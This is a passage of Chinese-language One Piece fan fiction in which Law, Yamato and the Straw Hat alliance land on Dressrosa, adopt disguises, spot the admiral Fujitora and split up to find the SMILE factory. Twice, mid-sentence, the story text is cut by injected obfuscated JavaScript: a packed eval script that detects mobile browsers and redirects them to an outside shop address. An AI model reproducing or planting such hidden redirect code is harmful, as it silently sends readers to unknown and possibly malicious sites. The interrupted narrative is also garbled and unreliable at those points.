罗想起记忆中的场景便微微扬起嘴角——即便彼时也曾让他恼火——“就算有那样的家伙,也不会对他……” 见他突然卡壳,娜美睁大双目看过来,“嗯?不会对他怎样?” ——等等,虽然他本能地愿意相信无论是其他船员还是大和本身都可以让他放心,但这到底是因为现实就是可以令他放心,还是他单纯一厢情愿? 说到底,就算都认同大和是男人,但也的确存在像草帽团厨子和音乐家那样“贼心不死”的男人。 以及,他自己私下看见大和时,当然也是会忍不住多看几眼的,保不齐还会有其他反应。 红心海贼团的船长不由得陷入沉思,一时不知该作何回答。 草帽海贼团的航海士则意识到自己的目的可能已经达到了。“哈哈,我还是去看着航线吧~你在这慢慢守着,我不打扰啦!”橘发女生露出明媚的笑脸,抛下“手榴弹”然后转身闪人,这才是乐趣所在。 等到大和清清爽爽地走出浴室间,意外看到罗在门口,正要开心地打招呼问他要不要洗澡,就见他所坐的地方好像被一层阴云笼罩。 “船长,你怎么了?”散发清香与热气的人立马担忧地蹲下来,凑近了仔仔细细打量门口满脸不高兴、好像为什么突如其来的消息震惊而陷入纠结不安的人。 自家船员红扑扑的脸蛋就在眼前,眸子艳丽又水灵,嘴巴红润而柔软,怎么看都太可爱了! ——他不想让任何人染指这么可爱的家伙,任何人都不行! ——觊觎也不行! 45.piece 44-兴风作浪的同盟与登岛 翌日早上新闻报纸随送报海鸥散布大海上各个角落,头版就是唐吉诃德-多弗朗明哥退出王下七武海,并同时失去德雷斯罗萨国王的身份; 与之同时刊登的,还有两组超新星结成同盟的消息:七武海罗和“草帽”路飞同盟,以及基德、霍金斯和阿普同盟。 暂且不说罗和路飞结盟的事情是怎么瞬间暴露的,也不论基德同盟怎么这么巧也此时发生,对于当前目标十分明确的罗与路飞而言,既然多弗朗明哥退出七武海了,意味着他们的计划可以进行到下一步: 电话虫的念波接通了桑尼号与德雷斯罗萨,罗与多弗朗明哥商定了交还凯撒的时间与地点—— 这次因为参与通话的人数众多(主要是同盟的两个海贼团方面)谈话间不免也有这样那样岔开的话题,期间多弗朗明哥似乎有意设计陷阱诱导路飞,幸亏被草帽团的其他人暂且打断,有惊无险…… ——看起来,接下去的行动方案就是登陆德雷斯罗萨,向多弗朗明哥交还被海贼同盟绑架的科学家凯撒,并借此调虎离山的时机破坏SMILE生产工厂,达到彻底切断唐吉诃德家族与百兽海贼团的生意关系、挑拨二者“两虎相争”,同步实现削弱双方的目的。 罗告知多弗朗明哥的碰头时间是在8小时以后,航海士娜美推算出抵达德雷斯罗萨岛的时间大概还需要5小时左右……于是草帽团决定先吃个早饭。 身在这样气氛松弛甚至应该说散漫的海贼船上,或许想保持一直精神紧绷也难。不过也对啊,饭总还是要吃的。 跟进桑尼号配色明亮而温馨的餐厅,大和赞叹不已地看着山治迅速而精巧地准备好分量惊人的三明治,还临时为不爱吃面包的罗专门做了饭团。 “厉害……山治,我也想学……可以教我嘛?”看一遍真地学不会,虽然他之前已经对着菜谱尝试做过一次了,但山治的双手就像会变魔术一样令人应接不暇。 没有人能拒绝这么一双神采奕奕的朱红眼睛——“呜!有没有人说过大和桑的眼睛就像山坡上的美人蕉一样艳丽~~” 餐桌旁的绿发男人刚好背朝厨房区域,差不多和桌对面暂时摘掉了帽子的黑发男人同时抬起头,翻起白眼。 “可以噢!那就一起再做一个吧~大和桑想学的是饭团对不对?” “嗯!” 罗心领神会,暂时将注意力收回到餐桌边的谈话上。 好巧不巧,临时搭乘草帽海贼船桑尼号的武士父子提到了他们要去的目的地是佐乌岛,让原本也打算在完成德雷斯罗萨的计划后便前往佐乌岛会合的人不得不在意。 大和其实也听到了,不过眼下工夫正到紧要处,他还是专心听厨子的指导:“——接下来在这里再捏一下噢,注意两手的力气尽量均匀,就不会把米饭捏散。” “好。”热爱学习的宝宝一步步跟着“老师”的指导去做,最后再将山治递过来的海苔覆在米饭表面,就完成了第一件“作品”。 金发男人态度相当耐心轻柔地鼓掌:有一说一,同盟海贼比桑尼号上太多破坏能力大于创造能力的臭男人们确实强多了。“太棒了,这是你第一次做嘛?” “不是。不过,之前做的……没有……这么好,调的味道……应该也没有山治的……好吃。” 听着同盟吃力又认真的表达,卷眉之下的眼神已经肉眼可辨别地陷入沉醉——“你太可爱了!既然这样,调味和馅料的方法就包在我身上,包教包会!~” 做饭对于山治来说是件愉悦的事情,有不输给美女的可爱、长腿、白发“学徒”在旁边又格外增添了愉悦感。“啊,对了,这个做出来的饭团你要自己吃吗?不吃的话就送给我吧~~” ——真是听不下去。 罗不过动动手指的工夫,餐桌上有一张用过的盘子不见了,代之以上一秒还放在厨房案板上刚做好的饭团。 远在厨房操作间的两人同时呆了一下,不过其中一人已经很熟悉这种场景转换,另一个人则刚好认得此长条形的盘子之前装过什么、以及摆在谁的面前。 “啧。”厨子深吸一口气,再听似遗憾地叹出,“看来有人‘没吃饱’。那我们直接开始学调味吧~大和桑。” “昂,谢谢你。过后,我……洗碗吧。” “嗷呜!你真是好孩子啊!”厨子由捧住心口按住好像快要揉碎掉的小心脏,由衷地说,“大和桑考虑一下来我们船上吧,好不好嘛~~~” 坐在餐桌边的乌索普莫名感觉到了一丝迫近的“威胁”,转头一看,左手边的男人正一口吞下最后一团米饭,然后端起无风而自起涟漪的茶水猛地灌进嘴里。 与此同时,相隔同盟海贼船长坐在另一侧的女同伴面带好整以暇的表情,也扭过头来。 乌索普不禁默默地回过头来——这是什么笑啊?娜美绝对在打什么算盘;谁是被算计的对象?自求多福吧。 “已经吃完了吗?那我来收拾咯。”厨房里的山治同样在注意餐桌上的用餐进度,暂将围裙一解,走出操作间打算撤下餐具,“拜托大和桑帮我把泡好的红茶分给大家。” “好哦。”同样系着围裙的人转身将事前取出的茶杯放入托盘,端着一整套骨瓷茶具也跟出操作间,在金发厨子利索地收起诸人面前的餐具后,紧接着将茶点一份一份地放在每个人手边。 对同盟海贼态度如此配合的表现,每个人都表达了谢意。 “原以为有山治的照顾就很好了,没想到大和来之后会更加感到幸福~辛苦两位了。” 轮到女历史学家手捧刚添过的茶杯,快速和对面的女同伴交换了眼神,接着微笑道:“话说回来,大和穿这件围裙的样子很可爱呢,好像刚见你的时候也穿着围裙?在我们房间还有类似‘风格’的衣服,有机会也来试试看吧。” “诶?不用不用……谢谢……”虽然不懂为什么会突然收到这种邀请,大和还是连连摆手。 “不需要客气哦~” 不到一天半的时间接触下来,大和由衷觉得路飞的同伴们虽然多少让他有些费解之处,但感觉都对人很友好呢! 说不上来是从什么时候开始,罗发觉本来就够奇怪的同盟们变得更加诡异,至少他认识到有必要在与极地潜水号会合后,尽快带自家船员远离草帽海贼团。 - - 海贼船靠近德雷斯罗萨之后自然不能光明正大地驶入港口,只能选礁石遍布的险滩小心靠岸。好在船上都是久经历险的海贼,在走险滩这方面,恐怕没有哪艘正经船只的水手比他们更老练。 越是靠近目的地,肩扛长刀的男人表情就越是让人看不清。大和没忍住在意地走到船只左舷,站在身边歪头打量船长的侧面。 “船长……” “打杂的,你记着:登岛之后你需要做的就只有确保‘SMILE工厂破坏组’任务完成,然后第一时间回到桑尼号上同大家会合,多余的都不要管。” 船长亲口嘱咐,他自然是要答应的。可是点完头又想到心系的问题:“那……你呢?” 眼前的男人沉默了几秒,抬眼定定地看了看他。最终微微一笑:“我也会在送走凯撒之后想办法摆脱Joker,第一时间来见你。” 大和的呼吸仿佛被攫住了,时隔两年多,他突然意识到船长笑起来就像他刚到极地潜水号时见到的一样好看,越看越漂亮。 有个还不是很确定的想法突然冒了出来,但或许并不适合立即表达。他不知道该怎么说,脸微微热,只好也露出微笑:“嗯!” 如果不是清楚船长很好面子,他可能又会像两年前那样扑上去狠狠拥抱船长——太棒了,他家船长实在是太帅了!无论什么时候都能让他觉得无比安心! 大和开始摩拳擦掌的想:为了让喜欢了这么久的船长也能安心,他这次要加倍努力了;唐吉诃德家族的SMILE工厂,他一定会看着它彻底碎成渣渣! - 很快有惊无险地抛锚上岸,即便只是远在荒芜燠热的城郊岩岸,从迎面出来的风中,也能闻到城市方向散发的复杂热烈的香气。 “哇,好香……”同时发出这种感慨的还不止他一人。 辨别着风中彼此混杂的花香、食物与人造芳香气味,大和不禁怀疑真正进入城镇后味道会浓郁到什么程度。仅仅只是闻上去,就觉得德雷斯罗萨一定很富饶吧。 在正式召开最后的行动会议前,路飞先跑去跟随行武士的孩子桃之助打了一架,即便对方实际只有8岁……而起因居然是为了骑吃下恶魔果实变成龙的桃之助飞入城中。 接着在罗讲解全员分工和行动路线的情况下,同盟船长转眼又不见了——不仅是他一个人——同为工厂破坏组的弗兰奇、索隆,以及原本应当作为守船组的山治,顷刻间全都跑得没影。 明明也是工厂破坏组一员的大和抬头就傻了眼——任务开始之前,组队秒变单人行动? “啊!山治不在,谁能保护我们呀——!”同为守船组的船医抱头尖叫。 “这帮人明明作为主力,怎么一个个就像有ADHD一样?!”同来自医生的咆哮,是再也忍不住吐槽的罗。 不过在吐槽之后他还是立即提醒愣在一旁的自家船员:“快去追!务必确保尽快找到SMILE工厂,赶在下午3点以后摧毁所有设施。” “明……明白……” 不过大和刚抬起脚来也就发觉被人搂住了胳膊,肘部有什么绵软的东西压着自己,扭头只见身体左侧已经吊挂起1名“柔弱”无助的橘发航海士。 “——等等!山治已经跟过去了,要不然就把大和留下来跟我们守船吧?他看起也很强的样子!” “不行,打杂的必须过去!我更不放心的是那群乱跑的家伙。”罗直接回绝了娜美的尖叫提议,不过考虑到船只本身对于他们这些海贼的重要性,深吸一口气也还是补充嘱咐大和:“找到那群人之后,提醒黑足当家的尽快回来,切勿托大!” “好!” “呜……那拜托你尽快找到山治君……要是实在找不到,你回来我们也欢迎……” 眼瞅航海士姑娘泪眼汪汪地松开手,大和也只好汗颜地朝她笑笑,便一刻不敢耽误地拔腿就跑。 就这样,伴随各种始料不及,德雷斯罗萨的作战计划兵分三路匆忙开启。 - - 至少对大和而言,行动开始地的确很匆忙。 在王宫所在高地之下,是德雷斯罗萨的港口城市阿卡西亚,此刻像没头苍蝇一样混进城内寻人的他从开局就很被动。 沿路一片勃勃生机也不假,但总觉得透着莫名的诡异。 ——诡异的玩具像“活物”一样在路上四处可见也就罢了,这在此前收集的有关德雷斯罗萨的情报中也有提及,虽说亲眼见到更觉得不可思议。更关键在于,明明今早报纸上已经刊出多弗朗明哥退出七武海并同时失去国王身份的消息,一个国家的国王突然退位,国内可以毫无波澜么…… “为什么……大家就像……无事发生一样?” 在打听所寻的“金发卷眉男”、“绿发带三把刀男”、“机器男”、“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368694|133034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草帽男”的过程中,他终究没忍住向路人确定这件令他纳闷的问题。 可是在散发馥郁花香的鲜切花店前,笑眯眯的摊主却反问他:“有什么事发生过嘛?” ——啥? 有种往日重现的感觉近在眼前,似乎一年半以前在北海某港口城市也见过同类情况。那时也曾遇到在市民口中完全打听不到有用消息的时候。 可问题在于,当初在北海遇到的情况是库尔茨用自己的精神果实能力操控了所有人,每个人的紧张和焦虑都表现在脸上。 ——难道说在这个国家也有相同能力的人迫使市民们守口如瓶吗?可是花店摊主满脸愉快的笑容呀! “话说回来,客人您要不要买束鲜花呢?今早才到的玫瑰很新鲜噢~还有从花田刚刚采摘的向阳花,送给心爱的人,对方一定会喜欢呢!” 大和听的一愣。 “诶……” ——确实呢,这里的鲜花看起来比别处任何地方见过的似乎还更加鲜艳浪漫,是栽培技术比别处更独到吗?好漂亮的说……他想让船长也能看一看;如果也送给罗的话…… “啊不对!”——现在是考虑这种事的时候嘛?!眼瞅上岸快半个小时过去了,他还没找到同组的其他几人,再耽误了大事,就算有花,罗也不会放过他! “诶?哪里不对?” “对……对不起,”身穿男装、却像女人的结巴客人对摊主匆忙婉拒,“我还有……要紧事……回头再来……买吧。” 望着扭头扬长而去的人,店主摇摇头,“真是不懂得享受生活的外来人呀。有什么要紧的事比眼前的快乐更重要呢?” ——不过从客人刚刚的问题来看,外面的人应该还完全没得到消息嘛,关于国王的新闻是‘误报’这回事…… 然而有着世界政府直属部门CP0的亲口保证与吩咐,住民们也不好对任何新到访国家的外来客透露任何事情。毕竟最重要的还是他们的国王不会发生变化,国民也能平静富裕地继续生活。 按世界政府说的去做,总不会出错的。 - 大和一路寻人,也一路时不时地尝试打听,有关他找的人的身影似乎还有迹可循,但困惑的问题却始终毫无头绪。 所有被问到的路人的反应都在告诉他:此地无事发生。 越是这样,他便越是困惑,心情也随之越发沉重起来。乃至最终追到餐馆终于找到那几个已经变装了的同盟海贼时,他的脸色也几乎严肃到和他家船长差不多的地步。 “啊?你被特拉男传染了吗,怎么脸‘黑’成这样?来来,先看看菜单,填饱肚子好干活。” ——原来他们还没忘记要“干活”。 “我找你们好久……”这句话他已经在脑子里想一路了,此刻不打停顿就能一口气讲完,“这个国家很奇怪。没时间耽搁了,要快点行动。” “这个国家确实奇怪。”索隆也同意了他的话,不过是出于其他理由,“但你还是得吃口东西,不然一会哪有力气‘搞破坏’?” ……行吧,同盟说的也在理。 大和想了想,暂且坐下来,“还少个人,路飞……在哪?” “哦,他去那头凑热闹了。”山治随手指了指餐厅一角的赌场,“对了,我很推荐这里的海鲜炒饭哦,大和桑要不要尝试一下~?” “我……都可以。但是山治……吃完你就该回……船上了。”他还是尽可能发挥到被赋予的作用,“娜美……还有乔巴,很……害怕。” “什么?你说的对!我要赶紧回去,不是在这耽误工夫的时候,娜美桑需要我~~~” ——还有乔巴。 大和点点头,正要补充,话题被旁边的机器改造人弗兰奇打断:“话说回来,我们都已经完成变态……变装了,你是不是也考虑伪装一下?” 闻者一顿,“伪装?”确实,此刻面前的4人均已换了身行头,不但穿着出来时并未见到的衬衫西装,还纷纷戴上了假胡须和墨镜充作易容——也难怪他打听了这么久才找到这些人。 至少该承认,同盟这些人还是有身在敌方地盘上的基本警觉是不是? 虽说大摇大摆地坐在餐厅正中央吃饭的架势,和严格意义上的“警觉”,多少有点矛盾。 “你们的脸……太广为……人知。我应该还好……没什么人认得。”既没有悬赏,也从未公开抛头露面,即便在正式成为红心团海贼的这两年,大和也仅仅作为“七武海的助理”活动,没人会主动关注他。 “此言差矣!”说这话的是结盟后交流还不算多的和之国武士“狐火”锦卫门,在“指正”虽然结巴但依然不可否认长相十分招眼的海贼后,他又严正建议到:“还是谨慎为好!大和阁下。” “唔……”倒也有几分道理。单纯没什么心眼的人想了想,也就点点头道:“那我也……变装吧。” 锦卫门见一计得逞,主动请缨:“请阁下这边来。” 才坐下没多久的白发人便又提着无刺狼牙棒站起来,未设防地跟上去,倒忽视了武士临走前的迅速回头一瞥。 ——但索隆注意到了,也明确捕捉到锦卫门刚才是和留在餐桌边的另一个男人对视。 “……你俩没打什么歪主意吧?”索隆总觉得刚追上来又暂时离去的人可能会被坑骗。 如同旁证,他看见好色厨子的嘴角已经扬了起来。“闭嘴。等着被‘惊艳’吧!” “啊……真是恶趣味啊。”剑士没憋住再次翻了个白眼——落到这些人手里,同盟无异于遇难。 46.piece 45-兴风作浪的同盟与信任 貌似干仗的剧烈动静从餐厅方向传来,出于某些前置理由,大和第一时间怀疑会不会和海贼们有关。 实在是草帽海贼团随性的风格这两天已深入人心,身为同盟不由得担心他们这次也会不按理出牌,便顾不得继续磕磕巴巴地和武士争论,暂且克服异样的脚感冲回餐厅:“怎么回事?” 一眼望去,好在餐桌边那几个乔装打扮的海贼基本都在,只除了从刚刚就在别处的路飞。 然后就听桌上传来连鼓吹带口哨,淹没了其间相对正直但可能还不够太有力的声音。 “啊~~~大和桑好美!!” “……原来你们打的是这种主意……” “Super——适合你的!大和!” “拜托……别开我……玩笑……”拜锦卫门的服服果实能力所赐,临时变装且过于招眼的人依稀明白,自己大概是着了这帮海贼的道。 难怪他刚刚强烈要求武士重新变一件衣服,对方却腰杆很硬地辩解“光是在下一个人也就罢了,还得看在其他人的面子上”、“在下也是受人之托、尽人之事,虽说在下也觉得十分养眼……啊不,是非常符合德雷斯罗萨的气氛”之类莫名其妙的话。 ——算了,不过就是穿什么衣服、做什么打扮这么点小事,眼下也着实不想再计较。 这么想着,大和也就稍微定了定神,控制着脚步走回餐桌边,向站起来的男人们确认自己真正关心的问题:“发生了什么?路飞……没事吧?” 原本用餐的客人们一多半也都站了起来,朝着赌桌方向观望。 “显而易见,那边的赌徒打起来了。”回答他的话带着街头混混式的弹舌音,不过眼下弗兰奇似乎是唯一能看出他真正担忧的人,“虽然好像一半原因是路飞引起的,不过打架的并不是他——所以放轻松吧。” 但即便这么说大和也轻松不下来:“既然……这样,吃的也差不多……了,我们离开这里吧。”有骚乱的地方就很难保证不被骚乱波及,理智还是让他想避开麻烦。 “唔,不等你点的菜了吗?” 正说着,赌桌方向的事态又出现进一步升级。大和已经明显看出来骚乱中心是一位身穿紫色披风、围着厚厚围脖的男人,从带刀的情况来看肯定不是普通市民,仔细观察其出手的实力和气势便越发觉得不简单。 “我还没点……算了。那个大叔……有点古怪,我好像……在哪看过……” 可以基本肯定带刀披风男应该和唐吉诃德家族没有直接关系——至少利益相关者不会在自家地盘上主动闹事,从这一点可以侧面论证——但大和忽然觉得在先前搜集情报时顺便在哪里看到过这个侧影。 由于角度的关系,他看不清对方的脸,自然也就不大能确定,但直觉却如警铃顿作,提醒他应该与那头保持距离。 “好吧,看在你都穿女装了的份上,我们……” 话音未落,情况急转直上:带刀穿披风的男人不知做了什么,在一瞬间被其砍中的赌场打手突然“掉入”地板之下——那里平白出现一口深坑,简直就像地底出现了什么看不见的力量,将地面一切人或物同时吞噬了一样。 “那大叔这么强?!” 所有人的目光都被聚焦到同一点,也就无意间忽视了身边正在发生的其他改变。 大和同样为眼前不自然的景象感到吃惊,随即唤起脑中相关的情报信息,“莫非……” ——那人该不会刚巧是海军本部新任命的大将之一吧?!等等……罗昨天晚上在独处时确实说过已将他们离开班克禁区后的去向透露给军方,难道眼下就是军方派来的将领——有必要直接派出大将吗? 他倒是忘了,罗如今是世界公认的七武海,而同盟的海贼团又是世界政府的眼中钉,似乎也只有派大将来才显得合理应当。 可实在来地也太快了,只怕军舰和桑尼号是前后脚抵达德雷斯罗萨吧!有无可能也因今早报纸头版所公开的爆炸性新闻而来,为了在多弗朗明哥“退出七武海”的第一时间抓人呢? ——但就算目标可能都是共同的敌人,海军和海贼从本质上也不可能是战友;班克岛的情形为局势所迫,应该很难侥幸再次上演。 “走。”大和在做出理智的判断后,沉声提醒身边的海贼们,“立刻……离开。” 由原本的温和而突然转变为严肃的态度,他还是得到了应有的注意。索隆率先回过头来,“怎么,你看出什么来了?” “一句话……难说清……晚点再解释吧。” 碰巧那位海军将领留下残局后也就向柜台递出联系方式,似乎打算要离开,被乔装的路飞叫住询问名号,可回答却显得遮遮掩掩——“还是不提了,对所有人都好。” 那人似乎视力有障碍,刀在回鞘之后就被当作“导盲棍”,不时在足前一两寸的地方轻轻敲打。不久出门去了别处,门外又传来零碎的跌打动静和致歉声。 大和几乎可以确定了:“他应该是……海军大将……‘藤虎’。” 马林梵多的战火止息后,海军元帅异位,原大将“赤犬”晋升顶替辞职的战国,原大将“青雉”一战失败后出走音讯飘渺,全军在世界范围内大举征兵,两名新大将竟都是从原本“籍籍无名”之辈中直接选任。 “大——?!”咋呼的声音才要冒出来,已有人眼疾手快地将餐厅随饭菜附赠的餐包塞进锦卫门嘴里。 旁边3名海贼的表情已表明,他们意识到了情势的危险性。 “我明白了,大和桑。”山治从座位边走开,顺手点起香烟,“我去把路飞叫回来,咱们走吧。” 然而一道惊叫声在近处传来,4名海贼连同武士纷纷警惕地望过去,餐厅里正上演新一轮骚乱—— 不是丢了钱包,就是不见了珠宝细软,更有甚者,像他们之中的剑士所说: “我刀呢?怎么少了一把!” 听见己方的剑士这么说,同行的其他人自然要关心:“你也丢东西了?” “我的三把刀之一‘秋水’不见了!”此言一出,惊慌的便不止他一个人。 同行之中还有和之国的武士锦卫门像被点了炮仗一样气急:“我们国家的国宝被你弄丢了?!” 这么一来,SMILE工厂破坏组的任务还没有正式进行,己方主力之一的剑士先丢失一把武器,并间接导致和武士“内讧”。 大和自认见闻色霸气修炼的还不到家,也能“预见”到摆在眼前的任务恐怕异常艰巨。 因为麻烦还在升级—— 索隆忽然调头朝窗户就跑,山治急忙去追,后面还跟着锦卫门。 大和一颗心提到了嗓子眼,脚板也比嘴快的条件下立刻迈开腿——他可不想再为找这帮人在王城里乱跑半个多小时到1个钟头。 然而越情急就越容易出岔子,脚底的网袜与高跟鞋打滑——(锦卫门这个蹩脚的‘服装设计’!)——他险些字面意义上以头抢地,幸得被旁人捞住腰腹举了起来。 “眼下这幅局面,我看你们就别跟去了。”弗兰奇霸气的弹舌音从近处传来,大和这才发觉自己已经被扛在机器人的肩膀上,而另一只机器手正紧紧拽着也刚刚作势要追的路飞,“放弃那3人吧,接下来让‘弗兰奇大哥’带领你们走上正途。” - 所谓“正途”就是套麻袋、打闷棍、拖到小巷里强行向“被害者”敲竹杠。 ——自从开始跟海贼混,这些都是见怪不怪的场景。 说来大和也见过罗亲自操作类似的事情,但弗兰奇干出来又别具一番风格。 听着弗兰奇十足娴熟地捶问从赌场抓来的打手,问题均有关唐吉诃德家族的工厂在哪里、干部们又在哪里,进而令大和明白他可能是同盟中唯一记得还要继续完成工厂破坏任务的人,几乎动容了。 不过从问话结果来看却并不明朗。打手什么都不知道,甚至没听说过“SMILE”是什么。很显然唐吉诃德家族的势力范围一定有着鲜明的等级划分,眼前的打手可能只是底层的喽啰,掌握的消息极其有限。 “弗兰奇……大哥,现在怎么办?” 在扮相火辣的白发人仰视中,机器人沉思片刻,又一拳砸向抓来的打手头顶。“小子,你们这里管事的人在哪?” 打手被墙壁爆裂的动静吓得一激灵,坐在地上哀嚎:“我不知道啊!今天上头所有人都不在,竞技场有特大活动,全城的人差不多都聚集过去了,估计干部们也都去了吧。” “竞技场?特大活动?展开说说。” 原来在德雷斯罗萨国内的“斗牛竞技场”,今日即将上演前所未有的格斗盛会,报名参赛的人来自世界各地、不同程度的武斗家,甚至还有些响当当的海贼。 设问为什么会有这么多人自愿上钩,那是因为这场竞技的胜者将获得的奖品乃是大名鼎鼎的自然系恶魔果实——曾为两年前顶上战争中死去的“火拳”艾斯所有的——“烧烧果实”。 听打手这么解释完,原本还一副凶神恶煞态度的3名海贼均陷入沉寂。 静默几秒后,先说话的人是路飞。或许其他两人也在等着他开口:“大和,弗兰奇,我也想要烧烧果实;我不想让果实落进来路不明的坏蛋手里。” “我就料到你会这么想。我倒是觉得问题不大……”弗兰奇将视线移向一旁—— 据弗兰奇所知,大和也与艾斯相识,不过事实上要找到SMILE工厂并将其破坏的任务正是由同盟的船长亲自策划——作为罗的跟班,大和又会对听到的消息持什么态度呢? 眼下工厂破坏组已经失去一半人手,主力已经大打折扣,如果再放任路飞不管,对于到现在连影子都还没摸到的工厂,想要展开调查并予以确实的摧毁——这样的任务难度系数怎么看都在成倍上升。 打量正在低头思索之人的过程中,弗兰奇当然也借机从墨镜后又仔细观摩了一把: 因为和之国武士毛遂自荐、草帽海贼团厨子热烈响应、改造人船匠也凑热闹的大力支持所致,白发同盟而今“被迫”身穿一片式性感露背超短裙,形象火辣到是个人路过都忍不住细瞧的程度; 原本用直线条衬衫盖住的弧线从侧面一目了然,仅靠悬挂在脖颈和窄腰上固定、尚且还在腋下晃荡的那一点布料,盖不住春光与大片线条流畅的腰背、长腿争相夺目——公道点说,露出来的部分倒比缀满橙红鱼鳞样亮片的衣服本身还惹眼。 要让近处打量的人说,真不比他们船上的两位大美人差到哪去;就算能接受对方自称男人这回事,可一见之下还是会暗自咋舌…… “抱歉,路飞。”大和沉吟片刻后,抬起头来,“正常情况……来讲,我应该帮你一起拿回……果实。但是—— “任务……必须完成,罗对我而言……或许也像……艾斯对你来说。我绝不能让罗失望!所以……你去吧!” 他的话刚磕磕巴巴地讲到一半,同盟的两位海贼便已扭头正色地看过去。等到定定地注视他说完,船匠就见和自己一样用同款方式易容的船长摘下墨镜,走到近前抬起头。 说来比路飞还高出不少的人正是在两年前就曾与之并肩作战,弗兰奇也确有听说。 “我听明白了,大和。你就放心去和弗兰奇找工厂吧,我会抢到烧烧果实,然后赶去助你们一臂之力——特拉男也不会失望的,工厂一定会摧毁,我向你保证。” “嗯。”大和没有迟疑地颔首,回过头来再次仰视弗兰奇,“弗兰奇大哥,既然干部们……也在竞技场,那我们……也出发吧!” “我得为之前小瞧你而抱歉了,大和。”机器人已经掀起墨镜,用一种从未见过的眼神打量他,“原来你这家伙不仅打架厉害,实际上也是真男人啊!” 弗兰奇原猜测,为了以任务为先,大和从刚追到餐厅就在催大家动身,自然也会反对路飞继其他3人之后再脱离队伍。 可实际情况却是他不但支持路飞去参加竞技,甚至还为不能协助后者一起抢回的果实而道歉—— 弗兰奇霎时间就用自己的思路捋清了对整件事的判断,他完全懂:因为艾斯也是大和逝去的好兄弟,既然如此当然能理解路飞的心情,是兄弟怎么能忍受烧烧果实落进不三不四的陌生人手里?无法帮兄弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13403604|133034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的义弟一起抢回自然遗憾! 但是大和他有不得不这么做的理由,因为有重要的船长嘱托在先:男人之间的承诺,怎可让对方失望? ——这是真爷们才会有的想法啊! “啊呜!简直要燃起来了!大和,砸毁工厂的事就放心交给我弗兰奇大哥吧!Super——” “噢!拜托了!弗兰奇大哥!” 虽然不知道为何气氛霎时热烈起来,可能这就是草帽海贼团的特色吧?大和就像机器人一样手臂高举过头顶,前臂果然没有成功贴合在一起,但居然一整段话没再结巴。 “哈哈哈!还真可靠呐,弗兰奇!” “那是当然的!路飞,大和,事不宜迟,我们出发!” 先前只因船长路飞同意结盟,弗兰奇作为海贼团的船员没有反对意见。直到眼下,他才算从个人意义上认可了同盟,至少是认可这个人:就像其自身声称的那样,是个真正的男人。 “虽说大和你这副样子也真是super——热辣!!” 再次被提醒目前外表穿的是什么,白发青年转眼放下手臂暂停走光行为,口舌又开始不利索。 “……别再玩……我了。说真的!” - - 就在3人因新获取的消息奔向新的目的地——斗牛竞技场——同时另一侧联通王国与格林比特岛的铁桥上,以罗为首的“交还凯撒组”正在斗鱼之海上夺命狂奔。 “罗!为什么不让你那个有冰系能力的跟班一起来,像这种场面,用他的能力轻而易举就能把这些鱼变成冰鲜吧?!” 凯撒踉踉跄跄地跟在后面抱怨,罗本来不打算理会,但凯撒好死不死地提到了他故意支使到别处没带来的人。 “少说话,你现在留着嘴喘气就够了。”他冷冷地提醒,顺带反手拽了一把凯撒,免得他落入突然跳下来的斗鱼利齿中。 不过同行的其他人受提醒也进而意识到问题:“啊!说来为什么这组就只有我们几个人带这个没用的瓦斯混蛋?早知道这条路这么危险,再叫一个主力来就好了呀!” 凯撒的抗议可以无效,但作为同盟海贼团成员之一的乌索普发出疑问,罗就没法无视了。“我再强调一遍:交换人质只是幌子,德雷斯罗萨那边的任务才是这个计划的重中之重。 “——何况草帽当家的跟我说你们每个人都很强,多一个、少一个人,应该问题也不大吧。” 从今早的报纸新闻来看,罗的目的似乎已经达成了一半。按照计划,现在将凯撒依约押送到指定地点还给多弗朗明哥只是此行表面上的任务,背地里真正的目标,是要给“工厂破坏组”留出时间和机会彻底摧毁人造恶魔果实SMILE产源的工厂。 真正目标不能出岔子,这是现实需求。毕竟他们要谋求的还是更长远的计划,也就是打败四皇之一的凯多。 “欸,计划已经充分理解,不过你确定我们这边的任务也不会有问题吗?罗。” 罗宾的问题其实真正问到了罗正在思考的点上。 的确,他现在基本也已料定:人质交易的任务绝对也不轻松。 因为多弗朗明哥不会善罢甘休,就算不了解他们此行真正的目的,也几乎肯定会为了他们在班克岛所做的好事、逼迫其退出七武海、乃至失去德雷斯罗萨国王王位,而借机清算。 为此他必须将体力保留到最后的危机时刻,不但因为手术果实的能力本就极其耗费体力,更重要的还是为了应对多弗朗明哥极有可能的追杀。 同行的两名海贼在仓促应对斗鱼的围攻,罗也对他们解释了自己必须要保留体力的理由。 在一片并不安定的环境下,他还需要继续理清思路—— 已确信唐吉诃德家族几乎不可能放着他们丢下凯撒之后全身而退,单凭十多年前曾作为部下对那个男人的理解,罗清楚多弗朗明哥睚眦必报的作风。 何况有着跨越10余年的恩怨,敌人想当然也不会放过罗。 他现在不能确定的,除了是否能让包括自己在内的同盟所有海贼功成身退之外,其实还有一件并非理智可以解答的问题。 越是驶近德雷斯罗萨的海域,他便越是忍不住思考这样一个问题:难道就要这么算了? 即便计划只要成功,凯多不会放过完成不了生产任务、断了武器尤其是SMILE买卖的黑市中间人Joker,一定会好好清算后者,可是害唐吉诃德-罗西南迪身死的仇就算这么报了吗? 罗不甘心。 他其实更想亲眼看着Joker倒下,亲眼见证唐吉诃德家族的分崩离析。 